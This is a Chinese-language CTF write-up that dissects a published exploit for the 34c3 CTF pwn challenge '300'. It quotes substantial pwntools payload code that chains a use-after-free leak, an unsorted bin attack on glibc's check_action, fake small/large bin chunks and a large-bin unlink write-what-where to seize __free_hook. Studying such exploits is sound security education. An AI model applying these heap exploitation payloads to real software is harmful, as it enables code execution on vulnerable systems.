一道pwn题带来的新思路 — 从unsorted bin attack 到 large bin attack

前言

近来无事，于是又开始刷起了34c3 ctf的题，不得不感叹其题目出得好啊，虽然漏洞非常明显，但是你就是不知道怎么利用

刷到了题目名字为300的这道pwn题，想半天利用不了，于是去看了一下别人的wp

有两个wp

第一个wp是改了unsorted bin list，于是可以分配到一个堆的前面，利用house of orange 来get shell，这个比较简单，具体怎么做直接google 搜wp就可以看到

第二个wp就是这篇文章主要分析的东西了

这里先贴一下wp的地址

这篇wp其实只是一个payload，虽然附带少量的注释，但是第一次看到真的完全不知道他是怎么利用的

正式分析

这个pwn有四个功能, alloc,read,write,free，alloc只能malloc固定大小为0x300的堆，read的话只能固定读0x300个字节，write的话跟puts差不多，打印到为止的内容，free的话free掉之后没用将指针给置0，所以可以实现UAF。

这个是pwn的程序的地址
pwn

说完程序的主要功能，我们来分析下payload吧

这里我省略一下payload的部分代码，下面是payload的主要代码

alloc(0)
alloc(1)
alloc(2)
alloc(3)

free(2)
free(0)

heap = u64(pr(0).ljust(8, 'x00')) - 0x620
libc.address = u64(pr(2).ljust(8, 'x00')) - 0x3c1b58
print('heap: 0x{:x}'.format(heap))
print('libc: 0x{:x}'.format(libc.address))

check_action = libc.address + 0x3c1150
main_arena = libc.address + 0x3c1b00
top = main_arena+0x58
bins_addr = main_arena + 0x68
arena_free_list = libc.address+0x3c37c0

# clean up
free(1)
free(3)

到这里为止，基本上都是常规操作，leak出libc 和heap的地址。

第一个关键点

# create a chunk in the unsorted bin
alloc(0)
alloc(1)
free(0)

# corrupt the unsorted bin and use it to overwrite the check_action variable
write(0, flat(0x1234, check_action-0x10))
alloc(0)

free(0)

这里利用unsorted bin attack，将check_action设置为unsorted bin 的地址，这个地址是main arena+一定的偏移，但是基本上是对齐的

那么这里的作用是什么呢？
我们来看下malloc的源码吧

在malloc中，存在着很多这种判断堆中某些值是否正常的代码，如果不正常了，就会调用malloc_printerr

接下来会调用__libc_message，第一个参数传进去的是do_abort

这里省略__libc_message中其他不重要的代码，这里是主要的退出判断逻辑

但是我们反编译一下libc.so，会看到下面的代码

这里的sub_80050就是malloc_printerr，传进去的是存在bss段的某个地址的值，其实这里就是payload里面的check_action

修改了这个值之后，就算出错了，程序也不会退出，这样就能干很多正常时候做不了的事情了

第二个关键点

这里他先把一些tuple加进一个list，但是这个我们暂时先不管，我们先来分析他的write what where

for what, where in what_where:
  print('[0x{:012x}] = 0x{:x}'.format(where, what))

  # if we triggered an error, the arena will be marked as corrupted and a new one allocated
  # leak the address of that new arena first
  alloc(0)
  alloc(1)
  write(1, fit({0x20: 0x320}, length=0x300))
  free(0)

  leak = ''
  while len(leak) < 6:
    new_chr = pr(0)[len(leak):len(leak)+1]
    if not new_chr:
      new_chr = 'x00'
    leak += new_chr
    write(0, 'A'*len(leak))

  new_arena = u64(leak.ljust(8, 'x00')) - 0x58
  write(0, flat(new_arena+0x58))

我们可以从他的注释知道

# when triggering an error, the arena will be marked as corrupted and a new one gets allocated
# though when allocating from an arena, there's a check that the result of _int_malloc is in a
# valid range for a given arena. We put the main_arena back in the arena_free_list so that this
# check doesn't stop us.

当error发生之后，当前arena会标记会出错的，新的arena会被建立，基本就是mmap出来的，所以他上面的代码是leak出新的arena的地址

  # some unnecessary allocations left over from exploit dev. But I'm too lazy to fix the offsets below, so leaving them in
  alloc(0)
  alloc(2)
  alloc(3)
  alloc(4)
  free(0)

  # trigger the write-what-where
  write(0, flat(new_arena+0x68-0x10, new_arena-0x20+0x8d0, 0, 0x320, new_arena-0x20+0x8b0, new_arena-0x20+0x8f0, 0, 0x320, new_arena-0x20+0x8d0, new_arena+0x68-0x10))
  alloc(1)
  alloc(1)
  write(0, flat(new_arena+0x68-0x10, new_arena-0x20+0x8d0, 0, 0x340, new_arena-0x20+0x8b0, new_arena-0x20+0x8f0, 0, 0x400, new_arena-0x20+0x8f0+0x30, new_arena-0x20+0x388, where-0x28, what, 0, 0x320, 1, new_arena-0x20+0x8f0, 1, 1))
  alloc(1)

这里的代码可以说是精华中的精华了，弄清楚之后不得不感叹作者对堆的了解之深

这里alloc几个堆，然后free 掉第一个堆，于是第一个堆就插入了unsorted bin list 里面

write(0, flat(new_arena+0x68-0x10, new_arena-0x20+0x8d0, 0, 0x320, new_arena-0x20+0x8b0, new_arena-0x20+0x8f0, 0, 0x320, new_arena-0x20+0x8d0, new_arena+0x68-0x10))

这里是第一个write

我们可以看到，这里他是在unsorted bin list里面插入了两个自己构造出来的fake chunk，大小为0x320

那么这个时候问题就来了，为什么大小是0x320 而不是0x310呢？

我们继续来看malloc的源码

这里来将代码翻译成人话
在unsorted bin list中，有两种情况会直接将chunk从list中提取出来

如果用户需要分配的内存大小对应的chunk属于smallbin，unsortedbin中只有这一个chunk，并且该chunk属于last remainder chunk且其大小大于用户需要分配内存大小对应的chunk大小加上最小的chunk大小（保证可以拆开成两个chunk），就将该chunk拆开成两个chunk，分别为victim和remainder，进行相应的设置后，将用户需要的victim返回。
如果刚刚从unsortedbin中取出的victim正好是用户需要的大小nb，就设置相应的标志位，直接返回该victim

很明显，0x320都不满足以上两种情况，所以会将两个伪造的chunk插入对应的small bin list中

然后假如在unsorted bin中找不到合适的chunk，接下来就会判断需要分配的内存大小是否在large bin 范围内，是的话在large bin list中寻找

但是这里很明显我们是small bin

接下来继续看源码

过了一大堆判断之后，如果还找不到合适的chunk，就会到这里，这里的idx是需要分配的内存在main arena bins中的idx，这里++idx的意思是：
假如找不到0x310大小的堆，我们来找一下0x320大小的堆，这里很明显有我们构造的fake chunk在small bin list中，所以就会返回构造的第一个small bin

所以上面第一次write完后，alloc的两个堆分别为0x310大小的堆和我们构造的0x320大小的堆

我们来分析一下第二个write

write(0, flat(new_arena+0x68-0x10, new_arena-0x20+0x8d0, 0, 0x340, new_arena-0x20+0x8b0, new_arena-0x20+0x8f0, 0, 0x400, new_arena-0x20+0x8f0+0x30, new_arena-0x20+0x388, where-0x28, what, 0, 0x320, 1, new_arena-0x20+0x8f0, 1, 1))

其实这里可以简化一下

write(0, flat(0, 0, 0, 0, 0, 0, 0, 0x400, new_arena-0x20+0x8f0+0x30, new_arena-0x20+0x388, where-0x28, what, 0, 0x320, 1, new_arena-0x20+0x8f0, 1, 1))

这个也是可以的，因为前面两个chunk是已经alloc出来的，里面的内容已经无所谓了

这里为什么要从0x320改成0x400呢？

其实这里就是构造了一个large bin ,将fd_nextsize和bk_nextsize设为特定值，利用unlink可以实现一波”任意地址”写”任意值”，这里其实也不是真正的任意地址写任意值，因为这里要求任意地址和任意值大概都要在可写的内存的范围内

但是这里为什么要用large bin的unlink呢？

我们来看下源码

这里small bin的unlink假如不满足要求，就会调用malloc_printerr,虽然这里调用了也不会退出，但是没有什么用。

假如是large bin的unlink，这里虽然不满足要求，调用了malloc_printerr，但是因为没退出，下面真正的unlink操作还是会执行的。

简单总结

这里的write where what其实首先是构造了两个fake chunk 插入到unsorted bin 里面，然后利用malloc的特点，将第二个fake chunk插入到small bin list中，在修改它的size位，伪造为large bin，利用unlink实现write where what。

第三个关键点

上面讲了他如何实现write where what，下面就来讲一下他加那些write where what的理由

what_where = []
# set up the main_arena so that we can get an allocation just before the __free_hook
what_where.append((bins_addr-0x10, bins_addr))
what_where.append((bins_addr-0x10, bins_addr+8))
what_where.append((libc.sym['__free_hook']-0x40, libc.sym['__free_hook']-0x30))
what_where.append((libc.sym['__free_hook']-0x30+4, top))
what_where.append((main_arena, arena_free_list))

前两个是将corrupted的unsorted bin list恢复正常
第三个是_free_hook上面的一些地方利用unlink来填一些值
第四个是将top chunk 的指针指向_free__hook上刚刚那些生成的值

第五个是将main_arena加入到arena_free_list中

前四个都很好理解，第五个是什么操作呢？

我们来看下源码

因为上面corrupted arena的原因，malloc会调用这里的arena_get去拿一个可用的arena

然后这里大概会调用arena_get2

然后main_arena从get_free_list中返回，最终实现控制_free_hook

总结

这个payload写得真的是十分精巧，如果不熟悉malloc源码的话真的看不出怎么利用

同时，这个payload也给我们带来了新思路，假如我们能控制check_action，使得堆出错不退出的话，那么我们可以摆脱很多束缚，实现原来不能实现的骚操作

参考资料

https://code.woboq.org/
http://blog.csdn.net/conansonic/article/details/50241523
https://gist.github.com/sroettger/591b355b50f7f28f99b27ca6194681ad

（完）